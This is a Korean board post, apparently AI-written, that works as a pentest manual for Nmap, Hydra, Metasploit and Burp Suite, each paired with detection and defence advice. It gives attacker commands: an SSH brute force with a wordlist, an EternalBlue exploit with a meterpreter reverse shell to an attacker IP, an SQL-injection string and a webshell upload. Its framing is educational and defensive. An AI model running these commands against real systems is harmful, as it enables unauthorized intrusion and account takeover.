보안 칼리 리눅스에서 모의 침투 및 공격 패턴 분석에 가장 많이 사용되는 4대 핵심 공격 도구의 목적, 구체적인 공격 명령어, 그리…
페이지 정보

본문
상대의 무기와 전술을 명확히 이해하는 것은 방어 전략 수립의 첫걸음입니다. 칼리 리눅스에서 모의 침투 및 공격 패턴 분석에 가장 많이 사용되는 4대 핵심 공격 도구의 목적, 구체적인 공격 명령어, 그리고 이를 방어 측면에서 어떻게 탐지하는지 정리한 매뉴얼입니다.
1. Nmap (네트워크 정보 수집 및 스캔)
공격자가 침입 전, 대상 서버에 어떤 포트가 열려 있고 어떤 운영체제와 서비스 버전(취약점 탐색용)을 쓰는지 확인하는 정찰(Reconnaissance) 도구입니다. [1, 2]
1) 구체적 공격 매뉴얼 (공격자 시점)
- 스텔스 SYN 스캔 (가장 기본적이고 빠른 스캔)
bash
nmap -sS [대상_IP]
코드를 사용할 때는 주의가 필요합니다.
- 서비스 버전 및 OS 상세 운영체제 확인 (취약한 버전 수집)
bash
nmap -sV -O [대상_IP]
코드를 사용할 때는 주의가 필요합니다.
- 방화벽 우회 및 공격적인 종합 스캔 (스크립트 및 경로 추적 포함)
bash
nmap -A -T4 [대상_IP]
코드를 사용할 때는 주의가 필요합니다.
2) 방어 및 탐지 포인트 (방어자 시점)
- 공격 패턴: 단시간에 동일한 IP로부터 수많은 포트로 TCP SYN 패킷이 들어오거나, 포트를 하나씩 찔러보는 형태가 포착됩니다.
- 탐지/방어 방법: Snort나 Suricata 같은 침입 탐지 시스템(IDS)에서 "정찰 목적의 스캔" 시그니처로 즉시 탐지되며, 방화벽(iptables, UFW)에서 일정 시간 내 과도한 연결 요청을 보내는 IP를 자동으로 차단(Fail2ban 활용)해야 합니다.
2. Hydra (로그인 무차별 대입 공격)
SSH, FTP, Web, 데이터베이스 등 로그인 창이 있는 서비스에 수만 개의 비밀번호 목록을 자동으로 대입하여 관리자 권한을 탈취하는 무차별 대입(Brute Force) 도구입니다.
1) 구체적 공격 매뉴얼 (공격자 시점)
- SSH 서비스에 무차별 대입 공격 (사용자 id가 root일 때, pass.txt 비밀번호 사전 파일 사용)
bash
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://[대상_IP] -t 4
코드를 사용할 때는 주의가 필요합니다.
- -l: 단일 사용자 아이디 지정 (여러 명일 경우 대문자 -L 계정 목록 파일 사용)
- -P: 비밀번호 목록 파일 지정 (칼리 내장 사전 파일 등)
- -t: 스레드 수 (동시 접속 시도 횟수, 높을수록 빠르지만 차단 위험 증가)
2) 방어 및 탐지 포인트 (방어자 시점)
- 공격 패턴: 서버 로그(本地/var/log/auth.log 또는 Windows 이벤트 로그 4625번)에 단 몇 초 만에 수백~수천 번의 "Login Failed(로그인 실패)"기록이 찍힙니다.
- 탐지/방어 방법: Fail2ban을 설정하여 로그인 5회 실패 시 해당 IP를 1시간 동안 차단합니다. 2차 인증(MFA)을 필수 적용하면 비밀번호가 뚫려도 침입을 막을 수 있습니다.
3. Metasploit Framework (취약점 익스플로잇 및 백도어)
시스템, 서비스, 애플리케이션의 알려진 취약점을 악용해 원격 코드를 실행(RCE)하고, 시스템 제어권을 완전히 장악하는 종합 침투 프레임워크입니다.
1) 구체적 공격 매뉴얼 (공격자 시점)
- 콘솔 실행
bash
msfconsole
코드를 사용할 때는 주의가 필요합니다.
- 대상 시스템의 취약점 검색 및 선택 (예: Windows 영구 취약점 EternalBlue)
msf
search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
코드를 사용할 때는 주의가 필요합니다.
- 공격 타깃 설정 및 페이로드(백도어인 Meterpreter) 지정
msf
set RHOSTS [대상_IP]
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST [공격자_칼리_IP]
코드를 사용할 때는 주의가 필요합니다.
- 공격 실행
msf
exploit
코드를 사용할 때는 주의가 필요합니다.
2) 방어 및 탐지 포인트 (방어자 시점)
- 공격 패턴: 취약한 포트(예: SMB 445번, 웹 80/443 등)로 비정상적인 버퍼 오버플로우 패킷이 유입된 후, 갑자기 내부에서 외부 공격자 IP의 특정 포트로 아웃바운드 연결(Reverse Connection)이 수립됩니다.
- 탐지/방어 방법: 주기적인 보안 패치 업데이트가 최고의 방어입니다. 알려진 취약점(CVE) 패치만 제때 해도 Metasploit 공격의 99%는 실패합니다. 네트워크 단에서는 기업 외부로 나가는 비정상 포트 통신을 차단해야 합니다.
4. Burp Suite (웹 애플리케이션 취약점 공격)
웹 브라우저와 웹 서버 사이의 패킷을 가로채서(Proxy) 데이터를 조작하고, SQL 인젝션, 크로스 사이트 스크립팅(XSS), 파일 업로드 취약점(웹셸 설치)을 공격하는 웹 전용 침투 도구입니다. [1]
1) 구체적 공격 매뉴얼 (공격자 시점)
- 프록시 설정: 웹 브라우저의 네트워크 프록시를 127.0.0.1:8080으로 설정해 모든 웹 요청이 Burp Suite를 거치도록 만듭니다.
- 인터셉트(Intercept): 사용자가 웹사이트 로그인이나 게시글 작성을 누를 때 변수 값을 가로챕니다.
- 값
변조:
- 예를 들어 아이디 입력창 데이터 뒤에 ' OR '1'='1 같은 SQL 인젝션 구문을 삽입하여 인증을 우회합니다.
- 프로필 사진 업로드 창에서 이미지 파일(.jpg)을 가로챈 뒤, 내부 코드 내용만 악성 웹셸 스크립트(.php 또는 .jsp)로 바꾸어 서버에 강제 업로드합니다.
- 자동화 공격(Intruder): 가로챈 패킷의 변수 위치를 지정하고 파라미터 값(퍼징 데이터)을 무작위로 대입해 취약한 파라미터가 있는지 전수 조사합니다.
2) 방어 및 탐지 포인트 (방어자 시점)
- 공격 패턴: 웹 서버 액세스 로그(access.log)에 ../, UNION SELECT, <script>, cat /etc/passwd 같은 특수문자와 시스템 명령어가 포함된 비정상적인 URL 요청(Query String)이 대량으로 남습니다.
- 탐지/방어 방법: 웹 애플리케이션 방화벽(WAF)을 도입하여 이와 같은 악성 입력값을 원천 차단합니다. 개발 단계에서는 사용자가 입력한 값을 그대로 신뢰하지 않도록 입력값 검증(시큐어 코딩)을 수행해야 합니다.
방어자를 위한 실무 제언
공격 툴들은 화려해 보이지만 결론적으로 "열려 있는 문(포트)을 찾고, 취약한 틈(패치 미비)을 찌르고, 허술한 자격증명(약한 패스워드)을 대입"하는 정형화된 단계를 거칩니다.
모의 침투 도구로 본인 시스템을 직접 스캔해보면(예: 내 서버에 nmap이나 hydra 돌려보기), 방어 보완점이 어디인지 명확하게 파악하실 수 있습니다.
가장 먼저 본인의 시스템 환경에서 테스트해보거나 취약점을 점검하고 싶은 핵심 타깃 서비스(예: 웹 서버, SSH 원격 접속, 데이터베이스 등)는 무엇인가요?
타깃을 말씀해 주시면 그 서비스를 노리는 구체적인 시나리오와 대응법을 좁혀서 다뤄보겠습니다.
- 이전글웹 서버, SSH 원격 접속, 데이터베이스는 공격자가 기업의 내부망으로 진입하고 핵심 데이터를 탈취하기 위해 노리는 가장 대표적인 3대 타깃입니다. 각 서비스별 공격자가 주로 사용하는 실제 26.08.01
- 다음글칼리 리눅스에 내장된 핵심 포렌식 도구 3가지의 핵심 요약 사용 매뉴얼입니다. 26.08.01
댓글목록
등록된 댓글이 없습니다.
